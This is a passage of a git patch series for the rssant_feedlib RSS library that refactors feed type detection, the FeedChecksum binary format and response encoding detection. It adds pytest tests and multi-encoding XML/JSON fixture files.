response.content_type.is_json: + if response.feed_type.is_json: return self._parse_json_feed(response) warning = [] - if response.content_type.is_html: + if response.feed_type.is_html: warning.append('feed content type is html') - if response.content_type.is_other: + if response.feed_type.is_other: warning.append('feed content type is not any feed type') stream = BytesIO(response.content) # tell feedparser to use detected encoding diff --git a/rssant_feedlib/response.py b/rssant_feedlib/response.py index bae345f..18d6f83 100644 --- a/rssant_feedlib/response.py +++ b/rssant_feedlib/response.py @@ -97,7 +97,8 @@ class FeedResponse: '_encoding', '_etag', '_last_modified', - '_content_type', + '_mime_type', + '_feed_type', '_use_proxy', ) @@ -109,7 +110,8 @@ class FeedResponse: etag: str = None, last_modified: str = None, encoding: str = None, - content_type: FeedContentType = None, + mime_type: str = None, + feed_type: FeedContentType = None, use_proxy: bool = None, ): self._content = content @@ -118,16 +120,17 @@ class FeedResponse: self._encoding = encoding self._etag = etag self._last_modified = last_modified - self._content_type = content_type or FeedContentType.OTHER + self._mime_type = mime_type + self._feed_type = feed_type or FeedContentType.OTHER self._use_proxy = use_proxy def __repr__(self): name = type(self).__name__ length = len(self._content) if self._content else 0 - content_type = self._content_type.value if self._content_type else None + feed_type = self._feed_type.value if self._feed_type else None return ( f'<{name} {self.status} url={self.url!r} length={length} ' - f'encoding={self.encoding!r} content_type={content_type!r}>' + f'encoding={self.encoding!r} feed_type={feed_type!r}>' ) @property @@ -163,8 +166,12 @@ class FeedResponse: return self._encoding @property - def content_type(self) -> FeedContentType: - return self._content_type + def mime_type(self) -> str: + return self._mime_type + + @property + def feed_type(self) -> FeedContentType: + return self._feed_type @property def use_proxy(self) -> bool: diff --git a/rssant_feedlib/response_builder.py b/rssant_feedlib/response_builder.py index 604e3a8..aaa71b6 100644 --- a/rssant_feedlib/response_builder.py +++ b/rssant_feedlib/response_builder.py @@ -13,7 +13,7 @@ RE_CONTENT_XML = re.compile(rb'(<\?xml|| FeedContentType: +def detect_feed_type(content: bytes, mime_type: str = None) -> FeedContentType: """ - >>> detect_content_type(b'') + >>> detect_feed_type(b'') - >>> detect_content_type(b'{"hello": "world"}') + >>> detect_feed_type(b'{"hello": "world"}') - >>> detect_content_type(b'') + >>> detect_feed_type(b'') """ - if content_type_header: - mime_type, __ = cgi.parse_header(content_type_header) - if mime_type: - for key in CONTENT_TYPE_NOT_FEED: - if key in mime_type: - return FeedContentType.OTHER + if mime_type: + for key in MIME_TYPE_NOT_FEED: + if key in mime_type: + return FeedContentType.OTHER head = bytes(content[:500]).strip().lower() if head.startswith(b'{') or head.startswith(b'['): return FeedContentType.JSON @@ -82,10 +80,10 @@ def _detect_chardet_encoding(content: bytes) -> str: return encoding -def _detect_http_encoding(content_type: str) -> str: - _, params = cgi.parse_header(content_type) +def _parse_content_type_header(content_type: str) -> typing.Tuple[str, str]: + mime_type, params = cgi.parse_header(content_type) encoding = params.get('charset', '').replace("'", "") - return encoding + return mime_type, encoding def _normalize_encoding(encoding: str) -> str: @@ -121,7 +119,7 @@ class EncodingChecker: return encoding -def detect_content_encoding(content: bytes, content_type_header: str = None): +def detect_content_encoding(content: bytes, http_encoding: str = None): """ >>> detect_content_encoding(b'hello', 'text/xml;charset=utf-8') 'utf-8' @@ -135,8 +133,8 @@ def detect_content_encoding(content: bytes, content_type_header: str = None): """ content = bytes(content[:2000]) # only need peek partial content checker = EncodingChecker(content) - if content_type_header: - encoding = checker.check(_detect_http_encoding(content_type_header)) + if http_encoding: + encoding = checker.check(http_encoding) if encoding is not None: return encoding encoding = checker.check(_detect_xml_encoding(content)) @@ -180,14 +178,14 @@ class FeedResponseBuilder: self._headers = headers def build(self) -> FeedResponse: - content_type = encoding = None + mime_type = feed_type = encoding = http_encoding = None + if self._headers: + content_type_header = self._headers.get('content-type') + if content_type_header: + mime_type, http_encoding = _parse_content_type_header(content_type_header) if self._content: - if self._headers: - content_type_header = self._headers.get('content-type') - else: - content_type_header = None - content_type = detect_content_type(self._content, content_type_header) - encoding = detect_content_encoding(self._content, content_type_header) + feed_type = detect_feed_type(self._content, mime_type) + encoding = detect_content_encoding(self._content, http_encoding) etag = last_modified = None if self._headers: etag = self._headers.get("etag") @@ -200,6 +198,7 @@ class FeedResponseBuilder: etag=etag, last_modified=last_modified, encoding=encoding, - content_type=content_type, + mime_type=mime_type, + feed_type=feed_type, use_proxy=self._use_proxy, ) -- Gitee From d279501d36f1daa504c86ae6d666a9efb3569ef5 Mon Sep 17 00:00:00 2001 From: guyskk Date: Sat, 11 Apr 2020 14:00:44 +0800 Subject: [PATCH 07/26] test and fix feed checksum --- rssant_feedlib/feed_checksum.py | 70 +++++++++------- tests/feedlib/test_feed_checksum.py | 122 ++++++++++++++++++++++++++++ 2 files changed, 164 insertions(+), 28 deletions(-) create mode 100644 tests/feedlib/test_feed_checksum.py diff --git a/rssant_feedlib/feed_checksum.py b/rssant_feedlib/feed_checksum.py index 9adc88c..1d72aec 100644 --- a/rssant_feedlib/feed_checksum.py +++ b/rssant_feedlib/feed_checksum.py @@ -3,20 +3,25 @@ from collections import OrderedDict import itertools import struct import hashlib -import brotli class FeedChecksum: """ - At most: 8 * 2 * 500 = 8KB, about 3KB after brotli compress + At most: (4 + 8) * 300 = 3.6KB, can not compress +---------+------------------+--------------------+ - | 1 byte | 8 * 2 * N bytes | + | 1 byte | (4 + 8) * N bytes | +---------+------------------+--------------------+ | version | story_ident_hash | story_content_hash | +---------+------------------+--------------------+ """ + _key_len = 4 + _val_len = 8 + _key_val_len = _key_len + _val_len + def __init__(self, items: List[Tuple[bytes, bytes]] = None, version: int = 1): + if version != 1: + raise ValueError(f'not support version {version}') self.version = version self._map = OrderedDict() for key, value in items or []: @@ -24,65 +29,74 @@ class FeedChecksum: self._map[key] = value def __repr__(self): - return '<{} version={} items={}>'.format( - type(self).__name__, self.version, len(self._map)) + return '<{} version={} size={}>'.format( + type(self).__name__, self.version, self.size()) + + def __eq__(self, other): + if not isinstance(other, type(self)): + return False + return (self.version == other.version and self._map == other._map) + + def size(self) -> int: + return len(self._map) def copy(self) -> "FeedChecksum": items = list(self._map.items()) return FeedChecksum(items, version=self.version) - def _hash(self, value: str) -> bytes: - """8 bytes md5""" - return hashlib.md5(value.encode('utf-8')).digest()[:8] + def _hash(self, value: str, length: int) -> bytes: + return hashlib.md5(value.encode('utf-8')).digest()[:length] def update(self, ident: str, content: str) -> bool: """ 由于哈希碰撞,可能会出现: - 1. 有更新但内容哈希值没变,导致误判为无更新 - 2. 多个ID哈希值一样,导致误判为有更新 + 1. 有更新但内容哈希值没变,导致误判为无更新。不能接受。 + 2. 多个ID哈希值一样,导致误判为有更新。可以接受。 """ - key = self._hash(ident) + if not ident or not content: + raise ValueError('ident and content can not empty') + key = self._hash(ident, self._key_len) old_sum = self._map.get(key) - new_sum = self._hash(content) + new_sum = self._hash(content, self._val_len) if (not old_sum) or old_sum != new_sum: self._map[key] = new_sum return True return False def _check_key_value(self, key: bytes, value: bytes): - assert len(key) == 8, 'key length must be 8 bytes' - assert len(value) == 8, 'value length must be 8 bytes' + if len(key) != self._key_len: + raise ValueError(f'key length must be {self._key_len} bytes') + if len(value) != self._val_len: + raise ValueError(f'value length must be {self._val_len} bytes') def dump(self, limit=None) -> bytes: length = len(self._map) buffer_n = length if limit is None else min(length, limit) - buffer = bytearray(1 + 16 * buffer_n) + buffer = bytearray(1 + self._key_val_len * buffer_n) struct.pack_into('>B', buffer, 0, self.version) - offset = 1 items = self._map.items() if limit is not None and length > limit: - items = itertools.islice(items, length - limit) + items = itertools.islice(items, length - limit, length) + offset = 1 for key, value in items: self._check_key_value(key, value) - buffer[offset: offset + 8] = key - buffer[offset + 8: offset + 16] = value - offset += 16 - buffer = brotli.compress(buffer) - return buffer + buffer[offset: offset + self._key_len] = key + buffer[offset + self._key_len: offset + self._key_val_len] = value + offset += self._key_val_len + return bytes(buffer) @classmethod def load(cls, data: bytes) -> "FeedChecksum": - data = brotli.decompress(data) - version = struct.unpack('>B', data[:1]) + version = struct.unpack('>B', data[:1])[0] if version != 1: raise ValueError(f'not support version {version}') - n, remain = divmod(len(data) - 1, 16) + n, remain = divmod(len(data) - 1, cls._key_val_len) if remain != 0: raise ValueError(f'unexpect data length {len(data)}') items = [] for i in range(n): - offset = 1 + i * 8 - key = data[offset: offset + 8] - value = data[offset + 8: offset + 16] + offset = 1 + i * cls._key_val_len + key = data[offset: offset + cls._key_len] + value = data[offset + cls._key_len: offset + cls._key_val_len] items.append((key, value)) return cls(items, version=version) diff --git a/tests/feedlib/test_feed_checksum.py b/tests/feedlib/test_feed_checksum.py new file mode 100644 index 0000000..a514ef0 --- /dev/null +++ b/tests/feedlib/test_feed_checksum.py @@ -0,0 +1,122 @@ +import random + +import pytest + +from rssant_feedlib.feed_checksum import FeedChecksum + + +def _random_unicode(length: int) -> str: + + # Update this to include code point ranges to be sampled + include_ranges = [ + (0x0021, 0x0021), + (0x0023, 0x0026), + (0x0028, 0x007E), + (0x00A1, 0x00AC), + (0x00AE, 0x00FF), + (0x0100, 0x017F), + (0x0180, 0x024F), + (0x2C60, 0x2C7F), + (0x16A0, 0x16F0), + (0x0370, 0x0377), + (0x037A, 0x037E), + (0x0384, 0x038A), + (0x038C, 0x038C), + ] + + alphabet = [ + chr(code_point) for current_range in include_ranges + for code_point in range(current_range[0], current_range[1] + 1) + ] + return ''.join(random.choice(alphabet) for i in range(length)) + + +def _random_storys(n): + storys = [] + for i in range(n): + ident = str(i) * 20 + content = _random_unicode(random.randint(1, 1000)) + storys.append((ident, content)) + return storys + + +def test_feed_checksum_basic(): + storys = _random_storys(100) + checksum = FeedChecksum() + for ident, content in storys: + assert checksum.update(ident, content) is True + assert checksum.size() == 100 + assert repr(checksum) + checksum_bak = checksum.copy() + assert checksum_bak == checksum + for ident, content in storys: + assert checksum.update(ident, content) is False + assert checksum_bak == checksum + + +def test_feed_checksum_dump_load(): + storys = _random_storys(1000) + checksum = FeedChecksum() + for ident, content in storys: + assert checksum.update(ident, content) is True + assert checksum.size() == 1000 + assert repr(checksum) + for ident, content in storys: + assert checksum.update(ident, content) is False + + data = checksum.dump() + loaded = FeedChecksum.load(data) + assert loaded.size() == 1000 + assert loaded == checksum + + data = checksum.dump(limit=500) + loaded = FeedChecksum.load(data) + assert loaded.size() == 500 + assert loaded != checksum + + # verify only dump last N items + checksum = loaded + for ident, content in storys[500:]: + assert checksum.update(ident, content) is False + assert checksum.size() == 500 + for ident, content in storys[:500]: + assert checksum.update(ident, content) is True + assert checksum.size() == 1000 + + +def test_feed_checksum_error(): + # format: 4 bytes + 8 bytes + items = [(b'1234', b'12345678')] + checksum = FeedChecksum(items) + assert checksum.size() == 1 + + data = checksum.dump() + data = data + b'123' + with pytest.raises(ValueError): + FeedChecksum.load(data) + + items = [(b'123', b'123456')] + with pytest.raises(ValueError): + FeedChecksum(items) + + items = [(b'12', b'12345')] + with pytest.raises(ValueError): + FeedChecksum(items) + + +def benchmark_feed_checksum(): + for n in range(100, 1001, 100): + storys = _random_storys(n) + checksum = FeedChecksum() + for ident, content in storys: + if not checksum.update(ident, content): + print(f'n={n} content conflict') + for ident, content in storys: + if checksum.update(ident, content): + print(f'n={n} ident conflict') + data = checksum.dump() + print(f'{n} items, {len(data)} bytes') + + +if __name__ == "__main__": + benchmark_feed_checksum() -- Gitee From cc1551ceba3e867cb8321fc71421477b11fa2e22 Mon Sep 17 00:00:00 2001 From: guyskk Date: Sat, 11 Apr 2020 14:51:32 +0800 Subject: [PATCH 08/26] update feed checksum format, improve dump load performance --- rssant_feedlib/feed_checksum.py | 41 +++++++++++++++-------------- tests/feedlib/test_feed_checksum.py | 15 +++++++++++ 2 files changed, 36 insertions(+), 20 deletions(-) diff --git a/rssant_feedlib/feed_checksum.py b/rssant_feedlib/feed_checksum.py index 1d72aec..a4d990f 100644 --- a/rssant_feedlib/feed_checksum.py +++ b/rssant_feedlib/feed_checksum.py @@ -7,12 +7,12 @@ import hashlib class FeedChecksum: """ - At most: (4 + 8) * 300 = 3.6KB, can not compress - +---------+------------------+--------------------+ - | 1 byte | (4 + 8) * N bytes | - +---------+------------------+--------------------+ - | version | story_ident_hash | story_content_hash | - +---------+------------------+--------------------+ + size of 300 items: (4 + 8) * 300 = 3.6KB, can not compress + +---------+----------------------+------------------------+ + | 1 byte | 4 * N bytes + 8 * N bytes | + +---------+----------------------+------------------------+ + | version | ident_hash ... | content_hash ... | + +---------+----------------------+------------------------+ """ _key_len = 4 @@ -53,8 +53,8 @@ class FeedChecksum: 1. 有更新但内容哈希值没变,导致误判为无更新。不能接受。 2. 多个ID哈希值一样,导致误判为有更新。可以接受。 """ - if not ident or not content: - raise ValueError('ident and content can not empty') + if not ident: + raise ValueError('ident can not be empty') key = self._hash(ident, self._key_len) old_sum = self._map.get(key) new_sum = self._hash(content, self._val_len) @@ -71,19 +71,17 @@ class FeedChecksum: def dump(self, limit=None) -> bytes: length = len(self._map) - buffer_n = length if limit is None else min(length, limit) - buffer = bytearray(1 + self._key_val_len * buffer_n) - struct.pack_into('>B', buffer, 0, self.version) + keys_buffer = bytearray() + vals_buffer = bytearray() + version_bytes = struct.pack('>B', self.version) items = self._map.items() if limit is not None and length > limit: items = itertools.islice(items, length - limit, length) - offset = 1 for key, value in items: self._check_key_value(key, value) - buffer[offset: offset + self._key_len] = key - buffer[offset + self._key_len: offset + self._key_val_len] = value - offset += self._key_val_len - return bytes(buffer) + keys_buffer.extend(key) + vals_buffer.extend(value) + return version_bytes + keys_buffer + vals_buffer @classmethod def load(cls, data: bytes) -> "FeedChecksum": @@ -93,10 +91,13 @@ class FeedChecksum: n, remain = divmod(len(data) - 1, cls._key_val_len) if remain != 0: raise ValueError(f'unexpect data length {len(data)}') + keys_buffer = memoryview(data)[1: 1 + n * cls._key_len] + vals_buffer = memoryview(data)[1 + n * cls._key_len:] + key_packer = struct.Struct(str(cls._key_len) + 's') + val_packer = struct.Struct(str(cls._val_len) + 's') items = [] - for i in range(n): - offset = 1 + i * cls._key_val_len - key = data[offset: offset + cls._key_len] - value = data[offset + cls._key_len: offset + cls._key_val_len] + keys_iter = key_packer.iter_unpack(keys_buffer) + vals_iter = val_packer.iter_unpack(vals_buffer) + for (key,), (value,) in zip(keys_iter, vals_iter): items.append((key, value)) return cls(items, version=version) diff --git a/tests/feedlib/test_feed_checksum.py b/tests/feedlib/test_feed_checksum.py index a514ef0..61ef774 100644 --- a/tests/feedlib/test_feed_checksum.py +++ b/tests/feedlib/test_feed_checksum.py @@ -1,4 +1,5 @@ import random +import time import pytest @@ -104,18 +105,32 @@ def test_feed_checksum_error(): FeedChecksum(items) +def _format_t(t): + return '{:.1f}ms'.format(t * 1000) + + def benchmark_feed_checksum(): for n in range(100, 1001, 100): storys = _random_storys(n) checksum = FeedChecksum() + t0 = time.monotonic() for ident, content in storys: if not checksum.update(ident, content): print(f'n={n} content conflict') + t1 = time.monotonic() for ident, content in storys: if checksum.update(ident, content): print(f'n={n} ident conflict') + t2 = time.monotonic() data = checksum.dump() + t3 = time.monotonic() print(f'{n} items, {len(data)} bytes') + FeedChecksum.load(data) + t4 = time.monotonic() + print('{} items, update: {} + {}'.format( + n, _format_t(t1 - t0), _format_t(t2 - t1))) + print('{} items, dump {}, load {}'.format( + n, _format_t(t3 - t2), _format_t(t4 - t3))) if __name__ == "__main__": -- Gitee From ca4e0bc93d77f5a3e57923ccd0a4d9760973d162 Mon Sep 17 00:00:00 2001 From: guyskk Date: Sat, 11 Apr 2020 17:52:13 +0800 Subject: [PATCH 09/26] test and fix response encoding --- rssant_feedlib/response_builder.py | 34 ++++-- tests/feedlib/test_encoding.py | 115 ++++++++++++++++++ .../testdata/encoding/chardet/big5.xml | 8 ++ .../testdata/encoding/chardet/euc-jp.xml | 13 ++ .../encoding/chardet/euc-kr:cp949.xml | 16 +++ .../encoding/chardet/gb2312:gb18030.xml | 12 ++ .../encoding/chardet/gbk:gb18030.json | 18 +++ .../testdata/encoding/chardet/koi8-r.xml | 14 +++ .../testdata/encoding/chardet/shift-jis.xml | 11 ++ .../testdata/encoding/chardet/tis-620.xml | 12 ++ .../testdata/encoding/chardet/utf-8.json | 18 +++ .../testdata/encoding/chardet/utf-8.xml | 8 ++ .../encoding/chardet/windows-1255.xml | 14 +++ ...on_atom_xml_charset_overrides_encoding.xml | 9 ++ ...ion_rss_xml_charset_overrides_encoding.xml | 9 ++ ...on_atom_xml_charset_overrides_encoding.xml | 8 ++ .../xml/http_application_atom_xml_default.xml | 8 ++ .../http_application_atom_xml_encoding.xml | 8 ++ ..._xml_gb2312_charset_overrides_encoding.xml | 9 ++ ...p_application_atom_xml_gb2312_encoding.xml | 9 ++ ...ion_rss_xml_charset_overrides_encoding.xml | 8 ++ .../xml/http_application_rss_xml_default.xml | 8 ++ .../xml/http_application_rss_xml_encoding.xml | 8 ++ ...ication_xml_charset_overrides_encoding.xml | 8 ++ .../xml/http_application_xml_default.xml | 8 ++ ...ion_xml_dtd_charset_overrides_encoding.xml | 8 ++ .../xml/http_application_xml_dtd_default.xml | 8 ++ .../xml/http_application_xml_dtd_encoding.xml | 8 ++ .../xml/http_application_xml_encoding.xml | 8 ++ ...ion_xml_epe_charset_overrides_encoding.xml | 8 ++ .../xml/http_application_xml_epe_default.xml | 8 ++ .../xml/http_application_xml_epe_encoding.xml | 8 ++ ...xt_atom_xml_charset_overrides_encoding.xml | 8 ++ .../xml/http_text_atom_xml_default.xml | 8 ++ .../xml/http_text_atom_xml_encoding.xml | 8 ++ ...ext_rss_xml_charset_overrides_encoding.xml | 8 ++ .../xml/http_text_rss_xml_default.xml | 8 ++ .../xml/http_text_rss_xml_encoding.xml | 8 ++ ...tp_text_xml_charset_overrides_encoding.xml | 8 ++ ..._text_xml_charset_overrides_encoding_2.xml | 17 +++ .../encoding/xml/http_text_xml_default.xml | 8 ++ ...ext_xml_epe_charset_overrides_encoding.xml | 8 ++ .../xml/http_text_xml_epe_default.xml | 8 ++ .../xml/http_text_xml_epe_encoding.xml | 8 ++ 44 files changed, 546 insertions(+), 8 deletions(-) create mode 100644 tests/feedlib/test_encoding.py create mode 100644 tests/feedlib/testdata/encoding/chardet/big5.xml create mode 100644 tests/feedlib/testdata/encoding/chardet/euc-jp.xml create mode 100644 tests/feedlib/testdata/encoding/chardet/euc-kr:cp949.xml create mode 100644 tests/feedlib/testdata/encoding/chardet/gb2312:gb18030.xml create mode 100644 tests/feedlib/testdata/encoding/chardet/gbk:gb18030.json create mode 100644 tests/feedlib/testdata/encoding/chardet/koi8-r.xml create mode 100644 tests/feedlib/testdata/encoding/chardet/shift-jis.xml create mode 100644 tests/feedlib/testdata/encoding/chardet/tis-620.xml create mode 100644 tests/feedlib/testdata/encoding/chardet/utf-8.json create mode 100644 tests/feedlib/testdata/encoding/chardet/utf-8.xml create mode 100644 tests/feedlib/testdata/encoding/chardet/windows-1255.xml create mode 100644 tests/feedlib/testdata/encoding/mixed/http_application_atom_xml_charset_overrides_encoding.xml create mode 100644 tests/feedlib/testdata/encoding/mixed/http_application_rss_xml_charset_overrides_encoding.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_application_atom_xml_charset_overrides_encoding.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_application_atom_xml_default.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_application_atom_xml_encoding.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_application_atom_xml_gb2312_charset_overrides_encoding.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_application_atom_xml_gb2312_encoding.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_application_rss_xml_charset_overrides_encoding.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_application_rss_xml_default.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_application_rss_xml_encoding.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_application_xml_charset_overrides_encoding.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_application_xml_default.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_application_xml_dtd_charset_overrides_encoding.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_application_xml_dtd_default.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_application_xml_dtd_encoding.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_application_xml_encoding.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_application_xml_epe_charset_overrides_encoding.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_application_xml_epe_default.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_application_xml_epe_encoding.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_text_atom_xml_charset_overrides_encoding.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_text_atom_xml_default.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_text_atom_xml_encoding.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_text_rss_xml_charset_overrides_encoding.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_text_rss_xml_default.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_text_rss_xml_encoding.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_text_xml_charset_overrides_encoding.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_text_xml_charset_overrides_encoding_2.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_text_xml_default.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_text_xml_epe_charset_overrides_encoding.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_text_xml_epe_default.xml create mode 100644 tests/feedlib/testdata/encoding/xml/http_text_xml_epe_encoding.xml diff --git a/rssant_feedlib/response_builder.py b/rssant_feedlib/response_builder.py index aaa71b6..2a83ab3 100644 --- a/rssant_feedlib/response_builder.py +++ b/rssant_feedlib/response_builder.py @@ -66,6 +66,12 @@ def _detect_xml_encoding(content: bytes) -> str: return None +def _detect_json_encoding(content: bytes) -> str: + if content.startswith(b'{') or content.startswith(b'['): + return 'utf-8' + return None + + def _detect_chardet_encoding(content: bytes) -> str: # chardet检测编码有些情况会非常慢,换成cchardet实现,性能可以提升100倍 r = cchardet.detect(content) @@ -74,9 +80,6 @@ def _detect_chardet_encoding(content: bytes) -> str: # 解决常见的乱码问题,chardet没检测出来基本就是iso8859-*和windows-125*编码 if encoding.startswith('iso8859') or encoding.startswith('windows'): encoding = 'utf-8' - elif encoding == 'ascii': - # ascii 是 utf-8 的子集,没必要用 ascii 编码 - encoding = 'utf-8' return encoding @@ -87,7 +90,11 @@ def _parse_content_type_header(content_type: str) -> typing.Tuple[str, str]: def _normalize_encoding(encoding: str) -> str: - return codecs.lookup(encoding).name + encoding = codecs.lookup(encoding).name + if encoding == 'ascii': + # ascii 是 utf-8 的子集,没必要用 ascii 编码 + encoding = 'utf-8' + return encoding class EncodingChecker: @@ -98,7 +105,7 @@ class EncodingChecker: self._content = content self._encodings: typing.Dict[str, bool] = {} - def check(self, encoding: str) -> str: + def _check(self, encoding: str) -> str: if not encoding: return None try: @@ -118,6 +125,16 @@ class EncodingChecker: self._encodings[encoding] = True return encoding + def check(self, encoding: str) -> str: + encoding = self._check(encoding) + if not encoding: + return encoding + # Since ISO-8859-1 is a 1 byte per character encoding, it will always work. + if '8859' in encoding or 'latin' in encoding: + if self._check('utf-8'): + return 'utf-8' + return encoding + def detect_content_encoding(content: bytes, http_encoding: str = None): """ @@ -137,15 +154,16 @@ def detect_content_encoding(content: bytes, http_encoding: str = None): encoding = checker.check(http_encoding) if encoding is not None: return encoding + encoding = checker.check(_detect_json_encoding(content)) + if encoding is not None: + return encoding encoding = checker.check(_detect_xml_encoding(content)) if encoding is not None: return encoding encoding = checker.check(_detect_chardet_encoding(content)) if encoding is not None: return encoding - if checker.check('utf-8'): - return 'utf-8' - return None + return 'utf-8' class FeedResponseBuilder: diff --git a/tests/feedlib/test_encoding.py b/tests/feedlib/test_encoding.py new file mode 100644 index 0000000..5379abd --- /dev/null +++ b/tests/feedlib/test_encoding.py @@ -0,0 +1,115 @@ +import re +import codecs +import pytest +from pathlib import Path + +from rssant_feedlib import FeedResponseBuilder + + +_data_dir = Path(__file__).parent / 'testdata/encoding' + + +def _normalize_encoding(x): + return codecs.lookup(x).name + + +def _create_builder(): + builder = FeedResponseBuilder() + builder.url('https://blog.example.com/feed.xml') + return builder + + +def _collect_chardet_cases(): + cases = [] + for filepath in (_data_dir / 'chardet').glob("*"): + encodings = filepath.name.split('.')[0].split(':') + encodings = [_normalize_encoding(x) for x in encodings] + cases.append((filepath.name, encodings)) + return cases + + +@pytest.mark.parametrize("filename, expects", _collect_chardet_cases()) +def test_chardet(filename, expects): + filepath = _data_dir / 'chardet' / filename + content = filepath.read_bytes() + builder = _create_builder() + builder.content(content) + response = builder.build() + assert response.encoding in expects + + +def _collect_header_cases(): + return [ + ('utf-8', "application/json;charset=utf-8"), + ('utf-8', "application/atom+xml; charset='us-ascii'"), + ('gb2312', "application/atom+xml; charset='gb2312'"), + ('gbk', "application/atom+xml;CHARSET=GBK"), + ] + + +@pytest.mark.parametrize("expect, header", _collect_header_cases()) +def test_header(expect, header): + expect = _normalize_encoding(expect) + content = b'hello world' + + builder = _create_builder() + builder.headers({'content-type': header}) + builder.content(content) + response = builder.build() + + assert response.encoding == expect + + +def _collect_xml_cases(): + cases = [] + for filepath in (_data_dir / 'xml').glob("*"): + content = filepath.read_bytes() + match = re.search(rb'encoding=[\'"](.*?)["\']', content) + if match: + expect = _normalize_encoding(match.group(1).decode()) + else: + expect = 'utf-8' + cases.append((filepath.name, expect)) + return cases + + +@pytest.mark.parametrize("filename, expect", _collect_xml_cases()) +def test_xml(filename, expect): + filepath = _data_dir / 'xml' / filename + content = filepath.read_bytes() + builder = _create_builder() + builder.content(content) + response = builder.build() + # when declaration is iso8859 but content is ascii, detect as utf-8 is fine + if expect == 'iso8859-1' and response.encoding == 'utf-8': + assert content.decode(response.encoding) + else: + assert response.encoding == expect + + +def _collect_mixed_cases(): + xml_filenames = [ + 'http_application_atom_xml_charset_overrides_encoding.xml', + 'http_application_rss_xml_charset_overrides_encoding.xml', + ] + headers = [ + "text/xml;", + "application/atom+xml; charset='iso8859-1'", + ] + expect = 'utf-8' + cases = [] + for filename in xml_filenames: + for header in headers: + cases.append((filename, header, expect)) + return cases + + +@pytest.mark.parametrize("filename, header, expect", _collect_mixed_cases()) +def test_mixed(filename, header, expect): + filepath = _data_dir / 'mixed' / filename + content = filepath.read_bytes() + builder = _create_builder() + builder.content(content) + builder.headers({'content-type': header}) + response = builder.build() + assert response.encoding == expect diff --git a/tests/feedlib/testdata/encoding/chardet/big5.xml b/tests/feedlib/testdata/encoding/chardet/big5.xml new file mode 100644 index 0000000..926fdd1 --- /dev/null +++ b/tests/feedlib/testdata/encoding/chardet/big5.xml @@ -0,0 +1,8 @@ + + +m11몺nOxWqPN۵oĤiyM + \ No newline at end of file diff --git a/tests/feedlib/testdata/encoding/chardet/euc-jp.xml b/tests/feedlib/testdata/encoding/chardet/euc-jp.xml new file mode 100644 index 0000000..ba288a5 --- /dev/null +++ b/tests/feedlib/testdata/encoding/chardet/euc-jp.xml @@ -0,0 +1,13 @@ + + + + + +SDGͥ졼NEO٤򤺤äȥץ쥤Ƥ롣 إȥޥ٤ϥȥ꡼⡼ɤ򽪤ơۤܤԤƤޤä GNEOϡä򤯤ʤĤĤ롣 ʤۤɡPS2äƤǽϤʤȺưƤ롣 ǯ٤ʤ褦PS3XBOX360㤪ʤʳϥˤʤۤ˻͡ˡ ˤƤ⡢äƿ٤ƤФäǥޥ͡... + + + \ No newline at end of file diff --git a/tests/feedlib/testdata/encoding/chardet/euc-kr:cp949.xml b/tests/feedlib/testdata/encoding/chardet/euc-kr:cp949.xml new file mode 100644 index 0000000..ac2c3e6 --- /dev/null +++ b/tests/feedlib/testdata/encoding/chardet/euc-kr:cp949.xml @@ -0,0 +1,16 @@ + + + + +EUC-KR TypeKey ѱ۴г ǥϱ + +TypeKey ý UTF-8 ưµ, ű⼭ ѱ۷ г 쿡, EUC-KR Ÿ Ͽ ̷ƮǾ ۵Ǿ г UTF 翬 Ÿ.  ϴ ʸ г ѱ۷ ϴ е鵵 ŸŰ г ̷ ڸԱ ִ +ѱ , R, UTF-8 δ ǥ EUC-KRδ ǥ ȵǴ ԵǸ ߻ + + + + \ No newline at end of file diff --git a/tests/feedlib/testdata/encoding/chardet/gb2312:gb18030.xml b/tests/feedlib/testdata/encoding/chardet/gb2312:gb18030.xml new file mode 100644 index 0000000..abfda71 --- /dev/null +++ b/tests/feedlib/testdata/encoding/chardet/gb2312:gb18030.xml @@ -0,0 +1,12 @@ + + + + +ϢúֱַͨGB + + + diff --git a/tests/feedlib/testdata/encoding/chardet/gbk:gb18030.json b/tests/feedlib/testdata/encoding/chardet/gbk:gb18030.json new file mode 100644 index 0000000..245600f --- /dev/null +++ b/tests/feedlib/testdata/encoding/chardet/gbk:gb18030.json @@ -0,0 +1,18 @@ +{ + "version": "https://jsonfeed.org/version/1", + "title": "йұ׼ַȫơϢúֱַ", + "home_page_url": "https://example.org/", + "feed_url": "https://example.org/feed.json", + "items": [ + { + "id": "2", + "content_text": "This is a second item.", + "url": "https://example.org/second-item" + }, + { + "id": "1", + "content_html": "

Hello, world!

